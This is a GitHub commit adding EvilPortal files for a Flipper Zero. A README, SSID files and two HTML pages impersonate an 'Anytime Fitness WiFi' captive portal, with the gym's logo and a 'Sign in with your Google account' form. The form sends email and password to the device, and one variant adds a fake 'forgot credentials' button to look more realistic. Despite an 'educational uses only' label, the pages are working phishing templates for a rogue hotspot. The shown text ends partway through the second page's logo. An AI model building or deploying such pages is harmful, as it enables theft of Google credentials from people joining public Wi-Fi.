Add files via upload

This commit is contained in:
FlippieHacks
2023-08-16 21:28:25 +02:00
committed by GitHub
parent 2440749355
commit 4682b81a28
30 changed files with 2523 additions and 0 deletions

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for an Anytime Fitness "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Anytime Fitness WiFi

View File

@@ -0,0 +1,296 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #6245BB;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #6245BB;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #6245BB;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #6245BB;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="384.000000pt" height="216.000000pt" viewBox="0 0 3840.000000 2160.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2160.000000) scale(0.100000,-0.100000)"
fill="#6245BB" stroke="none">
<path d="M0 10800 l0 -10800 19200 0 19200 0 0 10800 0 10800 -19200 0 -19200
0 0 -10800z m7629 4835 c134 -28 253 -85 351 -168 83 -71 1573 -1561 1618
-1618 173 -221 218 -471 121 -676 -59 -125 -187 -230 -334 -275 -80 -24 -273
-30 -335 -10 -19 6 -46 14 -60 16 -84 17 -295 133 -367 202 -11 11 -132 127
-269 259 -137 132 -316 306 -399 386 -310 302 -418 405 -445 422 -41 26 -109
29 -160 6 -43 -19 -168 -121 -371 -300 -522 -463 -737 -651 -837 -734 -98 -81
-125 -128 -125 -220 0 -98 28 -147 157 -272 55 -54 306 -298 556 -543 250
-245 563 -551 695 -680 132 -129 320 -313 419 -409 277 -272 384 -416 464
-626 45 -119 64 -224 64 -355 1 -189 -38 -342 -136 -545 -154 -316 -366 -566
-922 -1093 -181 -172 -213 -214 -210 -274 6 -81 -40 -48 964 -678 804 -504
844 -532 947 -657 111 -135 166 -292 160 -458 -4 -105 -8 -125 -41 -218 -78
-225 -285 -419 -484 -456 -52 -9 -252 -8 -295 2 -110 26 -238 73 -340 124 -74
37 -111 58 -1213 699 -182 107 -336 194 -341 194 -5 0 -11 4 -13 8 -1 4 -115
73 -253 152 -432 249 -486 284 -592 389 -111 110 -190 236 -224 361 -14 50
-17 95 -15 195 1 72 8 141 13 155 6 14 21 52 34 85 24 63 85 175 116 212 10
12 29 36 43 54 55 71 263 272 405 390 191 160 353 285 620 478 457 332 552
407 690 545 155 155 190 238 143 331 -22 43 -150 175 -233 241 -27 21 -52 41
-55 44 -3 3 -30 24 -60 48 -30 23 -59 45 -65 50 -35 28 -265 199 -340 252 -49
36 -92 67 -95 71 -3 3 -144 105 -315 227 -170 122 -314 226 -320 230 -5 4 -73
52 -150 106 -77 55 -158 112 -180 128 -168 123 -527 373 -559 390 -22 11 -64
22 -96 23 -96 6 -160 -35 -262 -165 -336 -433 -754 -909 -1102 -1255 -377
-376 -542 -495 -741 -534 -234 -46 -483 23 -648 178 -223 210 -1550 1541
-1591 1596 -72 95 -110 165 -141 260 -124 370 134 716 535 717 175 0 337 -56
495 -171 39 -28 317 -295 619 -594 301 -298 562 -550 579 -559 54 -30 128 -24
211 18 242 123 662 395 991 642 137 103 440 344 460 366 6 6 41 38 80 71 38
33 75 65 81 70 6 6 60 55 120 110 115 105 358 346 409 405 124 144 166 192
205 239 25 29 52 62 62 73 9 10 31 37 50 60 18 23 38 46 43 52 6 6 37 45 70
86 33 41 65 80 70 86 6 6 24 28 40 48 17 21 37 46 45 56 45 54 162 201 200
250 14 18 33 42 44 54 10 11 30 37 45 56 14 19 32 41 38 48 7 7 34 41 60 75
26 34 52 67 58 74 5 6 20 24 32 40 12 15 30 38 40 50 10 12 27 33 37 48 16 21
81 103 209 265 7 8 26 33 42 55 16 22 33 42 36 45 6 5 47 57 132 170 23 30 52
66 65 80 12 14 22 28 22 31 0 3 9 17 21 30 40 48 54 65 83 104 17 22 33 42 36
45 3 3 17 21 30 40 13 19 27 37 30 40 3 3 36 45 74 93 104 134 195 198 341
237 81 22 223 24 314 5z m-3619 -525 c507 -103 870 -543 873 -1058 1 -216 -58
-417 -178 -604 -63 -98 -229 -261 -329 -323 -84 -52 -246 -122 -305 -131 -20
-3 -39 -8 -43 -11 -20 -11 -116 -18 -253 -17 -128 1 -164 5 -248 28 -328 87
-603 322 -726 620 -38 91 -59 156 -67 206 -3 19 -9 51 -14 72 -14 67 -12 243
5 334 85 453 406 785 855 884 115 25 305 25 430 0z m25045 -441 c81 -16 207
-77 281 -138 102 -83 172 -188 427 -641 11 -19 202 -359 425 -755 223 -396
426 -757 451 -802 25 -46 49 -83 53 -83 3 0 20 25 38 56 36 64 270 483 405
724 483 865 667 1190 722 1275 172 263 383 386 642 373 164 -9 290 -66 412
-189 101 -100 162 -235 188 -419 6 -38 10 -607 10 -1358 l1 -1292 -397 2 -398
3 -5 1030 c-3 567 -8 1026 -11 1020 -4 -5 -21 -37 -39 -70 -18 -33 -107 -193
-198 -355 -90 -162 -221 -396 -290 -520 -411 -739 -444 -792 -562 -910 -83
-83 -165 -136 -268 -174 -89 -32 -120 -38 -222 -42 -141 -5 -289 33 -410 106
-90 54 -142 102 -215 195 -77 101 -118 168 -295 485 -79 140 -259 464 -402
719 -142 255 -270 486 -284 512 -13 27 -29 49 -34 49 -7 0 -10 -360 -10 -1025
l0 -1025 -397 2 -398 3 -2 165 c-7 690 -8 2295 -1 2380 26 303 132 503 330
623 135 82 292 108 453 76z m-16348 -10 c92 -24 136 -44 213 -94 76 -49 159
-129 206 -200 27 -40 474 -947 829 -1680 35 -71 187 -384 339 -694 152 -310
276 -566 276 -568 0 -7 -875 -2 -885 5 -6 4 -28 43 -50 87 -56 116 -241 495
-367 755 -61 124 -134 275 -163 335 -29 61 -124 256 -212 435 -87 179 -204
418 -258 532 -55 115 -103 207 -107 205 -10 -3 -418 -835 -418 -851 0 -10 44
-12 180 -11 99 0 185 -2 190 -5 9 -6 389 -762 393 -783 1 -4 -261 -9 -582 -10
l-584 -2 -81 -170 c-109 -230 -183 -387 -218 -462 l-28 -63 -445 0 c-245 0
-445 2 -445 4 0 2 59 125 131 272 72 148 171 350 219 449 48 99 140 288 205
420 65 132 150 308 190 390 40 83 121 249 180 370 109 224 179 367 369 760
131 269 151 302 240 391 97 96 207 157 346 189 81 20 255 16 337 -6z m2935 -1
c112 -30 203 -83 289 -168 41 -41 354 -390 694 -775 341 -385 739 -834 885
-998 l265 -299 3 1121 2 1121 400 0 400 0 0 -1332 c-1 -1264 -2 -1337 -19
-1412 -57 -238 -227 -424 -461 -502 -85 -28 -282 -26 -374 5 -149 48 -236 110
-359 250 -81 93 -167 190 -402 456 -699 788 -889 1002 -945 1065 -141 158
-317 357 -360 408 -25 28 -48 52 -52 52 -5 0 -8 -502 -8 -1115 l0 -1115 -400
0 -400 0 0 1318 c1 853 5 1336 11 1372 16 86 57 200 95 262 84 139 274 271
422 294 21 3 39 8 42 10 12 13 207 0 272 -18z m4430 -215 c106 -120 197 -223
203 -229 5 -6 122 -138 260 -293 l250 -283 35 39 c31 34 134 150 182 205 9 11
48 54 85 96 37 41 75 83 83 92 31 35 126 144 143 164 10 12 45 50 77 86 32 36
67 74 77 86 52 60 143 163 182 206 l43 48 530 0 c328 0 528 -4 526 -9 -2 -8
-240 -281 -283 -325 -6 -6 -91 -103 -190 -215 -99 -112 -240 -272 -314 -355
-73 -83 -211 -239 -306 -346 -95 -107 -238 -269 -319 -360 l-146 -165 0 -732
0 -733 -400 0 -400 0 0 730 0 731 -47 52 c-27 28 -52 57 -58 63 -5 6 -23 27
-40 45 -58 67 -180 204 -190 215 -10 11 -67 75 -379 428 -93 105 -185 209
-205 231 -20 22 -70 78 -111 125 -41 47 -77 87 -80 90 -3 3 -57 64 -120 135
-119 136 -226 256 -297 335 -24 26 -43 50 -43 54 0 3 238 6 529 6 l530 0 193
-217z m6346 -185 l2 -398 -645 0 -645 0 0 -1220 0 -1220 -402 2 -403 3 0 1215
0 1215 -665 5 -665 5 -1 390 c0 215 1 393 3 398 3 4 772 6 1711 5 l1707 -3 3
-397z m1332 -1218 l0 -1620 -400 0 -400 0 0 1620 0 1620 400 0 400 0 0 -1620z
m9474 1612 c6 -10 10 -781 4 -787 -2 -3 -605 -5 -1339 -5 -1461 -1 -1374 3
-1420 -61 -23 -32 -24 -41 -24 -194 l0 -160 1393 -3 1392 -2 1 -338 c1 -185 1
-364 2 -397 l0 -60 -1389 -2 c-764 -2 -1392 -3 -1396 -3 -4 0 -7 -67 -6 -149
1 -167 13 -214 64 -248 27 -17 89 -18 1372 -20 740 -1 1346 -4 1348 -5 1 -2 4
-181 6 -398 l2 -395 -1469 0 c-809 0 -1492 3 -1520 8 -136 20 -199 45 -310
120 -96 65 -174 159 -224 268 -63 140 -60 83 -61 1219 0 1011 0 1037 20 1108
52 187 162 328 330 425 53 30 155 66 213 74 23 3 44 7 46 9 9 8 2960 4 2965
-4z m-16103 -4277 c35 -9 89 -29 121 -45 123 -61 139 -77 617 -620 85 -96 205
-231 266 -300 62 -69 222 -249 356 -401 641 -724 771 -869 777 -869 4 0 7 502
7 1115 l0 1115 82 1 c46 0 124 0 173 0 50 0 192 0 318 0 l227 -1 -1 -1332 c-1
-733 -4 -1348 -8 -1365 -14 -69 -57 -190 -86 -240 -36 -63 -129 -164 -187
-204 -63 -44 -150 -85 -214 -102 -81 -21 -243 -22 -326 -1 -136 33 -275 119
-363 225 -24 30 -65 77 -91 104 -26 28 -100 111 -165 186 -66 75 -173 196
-239 270 -230 258 -421 474 -539 608 -65 75 -139 159 -165 186 -25 28 -80 88
-121 135 -41 47 -77 87 -80 90 -3 3 -34 39 -70 80 -36 41 -69 80 -75 86 -58
62 -164 182 -193 218 -20 25 -41 46 -47 46 -7 0 -10 -374 -10 -1103 l0 -1102
-395 -1 c-217 -1 -397 2 -400 7 -3 4 -5 598 -4 1321 1 1422 -2 1351 53 1499
27 72 99 179 159 236 162 153 403 215 623 158z m-1461 -396 l0 -399 -645 0
-645 0 0 -1213 0 -1213 -400 0 c-281 -1 -400 3 -400 10 0 6 0 552 0 1213 l0
1203 -667 2 -668 3 -3 397 -3 398 1703 2 c937 2 1709 1 1716 -1 9 -2 12 -91
12 -402z m-5600 1 l0 -400 -1335 0 c-1475 0 -1374 5 -1415 -63 -18 -28 -20
-51 -20 -194 l0 -163 1385 0 1385 0 0 -400 0 -400 -1385 0 -1385 0 0 -603 0
-602 -400 -1 -401 0 3 1336 3 1335 27 78 c50 149 149 279 274 362 70 47 126
71 216 95 70 18 132 19 1561 19 l1487 1 0 -400z m1543 388 c-2 -5 -3 -730 -3
-1612 l0 -1603 -397 1 -398 1 -3 1613 -2 1612 402 -2 c222 -2 402 -6 401 -10z
m12752 -388 l0 -400 -1345 0 c-1316 0 -1346 0 -1377 -20 -57 -34 -64 -61 -61
-237 l3 -158 1380 -2 c759 -1 1385 -2 1390 -2 6 -1 10 -141 10 -399 l0 -397
-1390 -2 -1390 -3 0 -171 0 -171 37 -34 38 -34 1370 0 1370 0 0 -400 0 -400
-1532 3 c-843 1 -1543 5 -1556 9 -91 27 -212 85 -266 128 -101 78 -190 207
-234 337 l-27 78 0 1060 0 1060 28 80 c66 194 192 334 373 416 131 59 59 57
1684 58 l1495 1 0 -400z m4445 0 l1 -400 -1368 -1 c-752 0 -1381 -3 -1397 -5
-100 -17 -180 -125 -169 -228 5 -47 22 -83 59 -120 66 -65 -12 -61 1079 -63
545 -1 1024 -4 1065 -7 93 -6 249 -54 347 -106 282 -151 467 -404 528 -724 24
-125 18 -254 -19 -434 -21 -98 -107 -264 -193 -371 -130 -163 -361 -309 -549
-347 -99 -20 -300 -23 -1564 -23 l-1415 -1 0 397 0 398 1410 5 c1287 5 1413 6
1440 22 144 79 142 293 -4 368 -37 18 -73 19 -1067 23 -566 2 -1040 6 -1054
10 -13 4 -41 9 -62 12 -152 23 -375 142 -501 267 -367 367 -396 969 -67 1362
157 187 389 317 640 359 14 2 663 5 1442 6 l1417 1 1 -400z m4431 118 c1 -156
2 -334 2 -396 1 -63 -1 -116 -4 -118 -4 -2 -625 -4 -1380 -4 -1137 -1 -1381
-3 -1413 -15 -107 -38 -169 -180 -121 -276 28 -55 76 -98 126 -113 38 -12 226
-14 1045 -14 549 0 1019 -3 1044 -7 132 -18 302 -86 421 -165 82 -56 213 -187
269 -269 55 -82 102 -186 136 -297 24 -79 27 -106 28 -249 1 -215 -17 -306
-94 -463 -128 -258 -342 -436 -639 -529 l-86 -28 -1462 -3 -1463 -3 0 401 0
400 1389 0 c764 0 1403 3 1422 7 47 9 124 89 139 143 13 48 8 107 -14 147 -19
37 -75 89 -108 102 -18 7 -380 11 -1037 11 -555 1 -1027 6 -1048 10 -21 5 -58
12 -83 15 -65 9 -223 71 -305 118 -38 22 -72 43 -75 47 -3 3 -16 14 -30 23
-54 37 -164 156 -215 232 -66 99 -114 210 -146 335 -30 120 -33 324 -6 435 49
206 149 389 285 519 146 140 367 252 536 272 28 4 53 8 55 10 2 2 640 4 1418
4 l1413 0 1 -282z m692 -2406 c25 -11 64 -39 87 -62 112 -112 113 -298 2 -413
-62 -65 -104 -81 -207 -82 -81 0 -95 3 -144 30 -65 36 -105 83 -131 153 -91
243 156 479 393 374z"/>
<path d="M37703 7629 c-182 -91 -165 -364 26 -428 115 -38 260 35 291 148 24
88 2 187 -53 239 -65 61 -187 80 -264 41z m183 -54 c24 -10 39 -26 50 -50 19
-45 10 -83 -28 -116 l-30 -25 36 -47 c20 -26 36 -52 36 -57 0 -6 -16 -10 -35
-10 -29 0 -38 6 -66 48 -38 55 -46 62 -76 62 -19 0 -22 -6 -25 -52 -3 -47 -6
-53 -27 -56 -13 -2 -27 0 -32 5 -10 10 -14 287 -4 303 10 16 161 12 201 -5z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Anytime Fitness WiFi

View File

@@ -0,0 +1,272 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #6245BB;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #6245BB;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #6245BB;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #6245BB;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="384.000000pt" height="216.000000pt" viewBox="0 0 3840.000000 2160.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2160.000000) scale(0.100000,-0.100000)"
fill="#6245BB" stroke="none">
<path d="M0 10800 l0 -10800 19200 0 19200 0 0 10800 0 10800 -19200 0 -19200
0 0 -10800z m7629 4835 c134 -28 253 -85 351 -168 83 -71 1573 -1561 1618
-1618 173 -221 218 -471 121 -676 -59 -125 -187 -230 -334 -275 -80 -24 -273
-30 -335 -10 -19 6 -46 14 -60 16 -84 17 -295 133 -367 202 -11 11 -132 127
-269 259 -137 132 -316 306 -399 386 -310 302 -418 405 -445 422 -41 26 -109
29 -160 6 -43 -19 -168 -121 -371 -300 -522 -463 -737 -651 -837 -734 -98 -81
-125 -128 -125 -220 0 -98 28 -147 157 -272 55 -54 306 -298 556 -543 250
-245 563 -551 695 -680 132 -129 320 -313 419 -409 277 -272 384 -416 464
-626 45 -119 64 -224 64 -355 1 -189 -38 -342 -136 -545 -154 -316 -366 -566
-922 -1093 -181 -172 -213 -214 -210 -274 6 -81 -40 -48 964 -678 804 -504
844 -532 947 -657 111 -135 166 -292 160 -458 -4 -105 -8 -125 -41 -218 -78
-225 -285 -419 -484 -456 -52 -9 -252 -8 -295 2 -110 26 -238 73 -340 124 -74
37 -111 58 -1213 699 -182 107 -336 194 -341 194 -5 0 -11 4 -13 8 -1 4 -115
73 -253 152 -432 249 -486 284 -592 389 -111 110 -190 236 -224 361 -14 50
-17 95 -15 195 1 72 8 141 13 155 6 14 21 52 34 85 24 63 85 175 116 212 10
12 29 36 43 54 55 71 263 272 405 390 191 160 353 285 620 478 457 332 552
407 690 545 155 155 190 238 143 331 -22 43 -150 175 -233 241 -27 21 -52 41
-55 44 -3 3 -30 24 -60 48 -30 23 -59 45 -65 50 -35 28 -265 199 -340 252 -49
36 -92 67 -95 71 -3 3 -144 105 -315 227 -170 122 -314 226 -320 230 -5 4 -73
52 -150 106 -77 55 -158 112 -180 128 -168 123 -527 373 -559 390 -22 11 -64
22 -96 23 -96 6 -160 -35 -262 -165 -336 -433 -754 -909 -1102 -1255 -377
-376 -542 -495 -741 -534 -234 -46 -483 23 -648 178 -223 210 -1550 1541
-1591 1596 -72 95 -110 165 -141 260 -124 370 134 716 535 717 175 0 337 -56
495 -171 39 -28 317 -295 619 -594 301 -298 562 -550 579 -559 54 -30 128 -24
211 18 242 123 662 395 991 642 137 103 440 344 460 366 6 6 41 38 80 71 38
33 75 65 81 70 6 6 60 55 120 110 115 105 358 346 409 405 124 144 166 192
205 239 25 29 52 62 62 73 9 10 31 37 50 60 18 23 38 46 43 52 6 6 37 45 70
86 33 41 65 80 70 86 6 6 24 28 40 48 17 21 37 46 45 56 45 54 162 201 200
250 14 18 33 42 44 54 10 11 30 37 45 56 14 19 32 41 38 48 7 7 34 41 60 75
26 34 52 67 58 74 5 6 20 24 32 40 12 15 30 38 40 50 10 12 27 33 37 48 16 21
81 103 209 265 7 8 26 33 42 55 16 22 33 42 36 45 6 5 47 57 132 170 23 30 52
66 65 80 12 14 22 28 22 31 0 3 9 17 21 30 40 48 54 65 83 104 17 22 33 42 36
45 3 3 17 21 30 40 13 19 27 37 30 40 3 3 36 45 74 93 104 134 195 198 341
237 81 22 223 24 314 5z m-3619 -525 c507 -103 870 -543 873 -1058 1 -216 -58
-417 -178 -604 -63 -98 -229 -261 -329 -323 -84 -52 -246 -122 -305 -131 -20
-3 -39 -8 -43 -11 -20 -11 -116 -18 -253 -17 -128 1 -164 5 -248 28 -328 87
-603 322 -726 620 -38 91 -59 156 -67 206 -3 19 -9 51 -14 72 -14 67 -12 243
5 334 85 453 406 785 855 884 115 25 305 25 430 0z m25045 -441 c81 -16 207
-77 281 -138 102 -83 172 -188 427 -641 11 -19 202 -359 425 -755 223 -396
426 -757 451 -802 25 -46 49 -83 53 -83 3 0 20 25 38 56 36 64 270 483 405
724 483 865 667 1190 722 1275 172 263 383 386 642 373 164 -9 290 -66 412
-189 101 -100 162 -235 188 -419 6 -38 10 -607 10 -1358 l1 -1292 -397 2 -398
3 -5 1030 c-3 567 -8 1026 -11 1020 -4 -5 -21 -37 -39 -70 -18 -33 -107 -193
-198 -355 -90 -162 -221 -396 -290 -520 -411 -739 -444 -792 -562 -910 -83
-83 -165 -136 -268 -174 -89 -32 -120 -38 -222 -42 -141 -5 -289 33 -410 106
-90 54 -142 102 -215 195 -77 101 -118 168 -295 485 -79 140 -259 464 -402
719 -142 255 -270 486 -284 512 -13 27 -29 49 -34 49 -7 0 -10 -360 -10 -1025
l0 -1025 -397 2 -398 3 -2 165 c-7 690 -8 2295 -1 2380 26 303 132 503 330
623 135 82 292 108 453 76z m-16348 -10 c92 -24 136 -44 213 -94 76 -49 159
-129 206 -200 27 -40 474 -947 829 -1680 35 -71 187 -384 339 -694 152 -310
276 -566 276 -568 0 -7 -875 -2 -885 5 -6 4 -28 43 -50 87 -56 116 -241 495
-367 755 -61 124 -134 275 -163 335 -29 61 -124 256 -212 435 -87 179 -204
418 -258 532 -55 115 -103 207 -107 205 -10 -3 -418 -835 -418 -851 0 -10 44
-12 180 -11 99 0 185 -2 190 -5 9 -6 389 -762 393 -783 1 -4 -261 -9 -582 -10
l-584 -2 -81 -170 c-109 -230 -183 -387 -218 -462 l-28 -63 -445 0 c-245 0
-445 2 -445 4 0 2 59 125 131 272 72 148 171 350 219 449 48 99 140 288 205
420 65 132 150 308 190 390 40 83 121 249 180 370 109 224 179 367 369 760
131 269 151 302 240 391 97 96 207 157 346 189 81 20 255 16 337 -6z m2935 -1
c112 -30 203 -83 289 -168 41 -41 354 -390 694 -775 341 -385 739 -834 885
-998 l265 -299 3 1121 2 1121 400 0 400 0 0 -1332 c-1 -1264 -2 -1337 -19
-1412 -57 -238 -227 -424 -461 -502 -85 -28 -282 -26 -374 5 -149 48 -236 110
-359 250 -81 93 -167 190 -402 456 -699 788 -889 1002 -945 1065 -141 158
-317 357 -360 408 -25 28 -48 52 -52 52 -5 0 -8 -502 -8 -1115 l0 -1115 -400
0 -400 0 0 1318 c1 853 5 1336 11 1372 16 86 57 200 95 262 84 139 274 271
422 294 21 3 39 8 42 10 12 13 207 0 272 -18z m4430 -215 c106 -120 197 -223
203 -229 5 -6 122 -138 260 -293 l250 -283 35 39 c31 34 134 150 182 205 9 11
48 54 85 96 37 41 75 83 83 92 31 35 126 144 143 164 10 12 45 50 77 86 32 36
67 74 77 86 52 60 143 163 182 206 l43 48 530 0 c328 0 528 -4 526 -9 -2 -8
-240 -281 -283 -325 -6 -6 -91 -103 -190 -215 -99 -112 -240 -272 -314 -355
-73 -83 -211 -239 -306 -346 -95 -107 -238 -269 -319 -360 l-146 -165 0 -732
0 -733 -400 0 -400 0 0 730 0 731 -47 52 c-27 28 -52 57 -58 63 -5 6 -23 27
-40 45 -58 67 -180 204 -190 215 -10 11 -67 75 -379 428 -93 105 -185 209
-205 231 -20 22 -70 78 -111 125 -41 47 -77 87 -80 90 -3 3 -57 64 -120 135
-119 136 -226 256 -297 335 -24 26 -43 50 -43 54 0 3 238 6 529 6 l530 0 193
-217z m6346 -185 l2 -398 -645 0 -645 0 0 -1220 0 -1220 -402 2 -403 3 0 1215
0 1215 -665 5 -665 5 -1 390 c0 215 1 393 3 398 3 4 772 6 1711 5 l1707 -3 3
-397z m1332 -1218 l0 -1620 -400 0 -400 0 0 1620 0 1620 400 0 400 0 0 -1620z
m9474 1612 c6 -10 10 -781 4 -787 -2 -3 -605 -5 -1339 -5 -1461 -1 -1374 3
-1420 -61 -23 -32 -24 -41 -24 -194 l0 -160 1393 -3 1392 -2 1 -338 c1 -185 1
-364 2 -397 l0 -60 -1389 -2 c-764 -2 -1392 -3 -1396 -3 -4 0 -7 -67 -6 -149
1 -167 13 -214 64 -248 27 -17 89 -18 1372 -20 740 -1 1346 -4 1348 -5 1 -2 4
-181 6 -398 l2 -395 -1469 0 c-809 0 -1492 3 -1520 8 -136 20 -199 45 -310
120 -96 65 -174 159 -224 268 -63 140 -60 83 -61 1219 0 1011 0 1037 20 1108
52 187 162 328 330 425 53 30 155 66 213 74 23 3 44 7 46 9 9 8 2960 4 2965
-4z m-16103 -4277 c35 -9 89 -29 121 -45 123 -61 139 -77 617 -620 85 -96 205
-231 266 -300 62 -69 222 -249 356 -401 641 -724 771 -869 777 -869 4 0 7 502
7 1115 l0 1115 82 1 c46 0 124 0 173 0 50 0 192 0 318 0 l227 -1 -1 -1332 c-1
-733 -4 -1348 -8 -1365 -14 -69 -57 -190 -86 -240 -36 -63 -129 -164 -187
-204 -63 -44 -150 -85 -214 -102 -81 -21 -243 -22 -326 -1 -136 33 -275 119
-363 225 -24 30 -65 77 -91 104 -26 28 -100 111 -165 186 -66 75 -173 196
-239 270 -230 258 -421 474 -539 608 -65 75 -139 159 -165 186 -25 28 -80 88
-121 135 -41 47 -77 87 -80 90 -3 3 -34 39 -70 80 -36 41 -69 80 -75 86 -58
62 -164 182 -193 218 -20 25 -41 46 -47 46 -7 0 -10 -374 -10 -1103 l0 -1102
-395 -1 c-217 -1 -397 2 -400 7 -3 4 -5 598 -4 1321 1 1422 -2 1351 53 1499
27 72 99 179 159 236 162 153 403 215 623 158z m-1461 -396 l0 -399 -645 0
-645 0 0 -1213 0 -1213 -400 0 c-281 -1 -400 3 -400 10 0 6 0 552 0 1213 l0
1203 -667 2 -668 3 -3 397 -3 398 1703 2 c937 2 1709 1 1716 -1 9 -2 12 -91
12 -402z m-5600 1 l0 -400 -1335 0 c-1475 0 -1374 5 -1415 -63 -18 -28 -20
-51 -20 -194 l0 -163 1385 0 1385 0 0 -400 0 -400 -1385 0 -1385 0 0 -603 0
-602 -400 -1 -401 0 3 1336 3 1335 27 78 c50 149 149 279 274 362 70 47 126
71 216 95 70 18 132 19 1561 19 l1487 1 0 -400z m1543 388 c-2 -5 -3 -730 -3
-1612 l0 -1603 -397 1 -398 1 -3 1613 -2 1612 402 -2 c222 -2 402 -6 401 -10z
m12752 -388 l0 -400 -1345 0 c-1316 0 -1346 0 -1377 -20 -57 -34 -64 -61 -61
-237 l3 -158 1380 -2 c759 -1 1385 -2 1390 -2 6 -1 10 -141 10 -399 l0 -397
-1390 -2 -1390 -3 0 -171 0 -171 37 -34 38 -34 1370 0 1370 0 0 -400 0 -400
-1532 3 c-843 1 -1543 5 -1556 9 -91 27 -212 85 -266 128 -101 78 -190 207
-234 337 l-27 78 0 1060 0 1060 28 80 c66 194 192 334 373 416 131 59 59 57
1684 58 l1495 1 0 -400z m4445 0 l1 -400 -1368 -1 c-752 0 -1381 -3 -1397 -5
-100 -17 -180 -125 -169 -228 5 -47 22 -83 59 -120 66 -65 -12 -61 1079 -63
545 -1 1024 -4 1065 -7 93 -6 249 -54 347 -106 282 -151 467 -404 528 -724 24
-125 18 -254 -19 -434 -21 -98 -107 -264 -193 -371 -130 -163 -361 -309 -549
-347 -99 -20 -300 -23 -1564 -23 l-1415 -1 0 397 0 398 1410 5 c1287 5 1413 6
1440 22 144 79 142 293 -4 368 -37 18 -73 19 -1067 23 -566 2 -1040 6 -1054
10 -13 4 -41 9 -62 12 -152 23 -375 142 -501 267 -367 367 -396 969 -67 1362
157 187 389 317 640 359 14 2 663 5 1442 6 l1417 1 1 -400z m4431 118 c1 -156
2 -334 2 -396 1 -63 -1 -116 -4 -118 -4 -2 -625 -4 -1380 -4 -1137 -1 -1381
-3 -1413 -15 -107 -38 -169 -180 -121 -276 28 -55 76 -98 126 -113 38 -12 226
-14 1045 -14 549 0 1019 -3 1044 -7 132 -18 302 -86 421 -165 82 -56 213 -187
269 -269 55 -82 102 -186 136 -297 24 -79 27 -106 28 -249 1 -215 -17 -306
-94 -463 -128 -258 -342 -436 -639 -529 l-86 -28 -1462 -3 -1463 -3 0 401 0
400 1389 0 c764 0 1403 3 1422 7 47 9 124 89 139 143 13 48 8 107 -14 147 -19
37 -75 89 -108 102 -18 7 -380 11 -1037 11 -555 1 -1027 6 -1048 10 -21 5 -58
12 -83 15 -65 9 -223 71 -305 118 -38 22 -72 43 -75 47 -3 3 -16 14 -30 23
-54 37 -164 156 -215 232 -66 99 -114 210 -146 335 -30 120 -33 324 -6 435 49
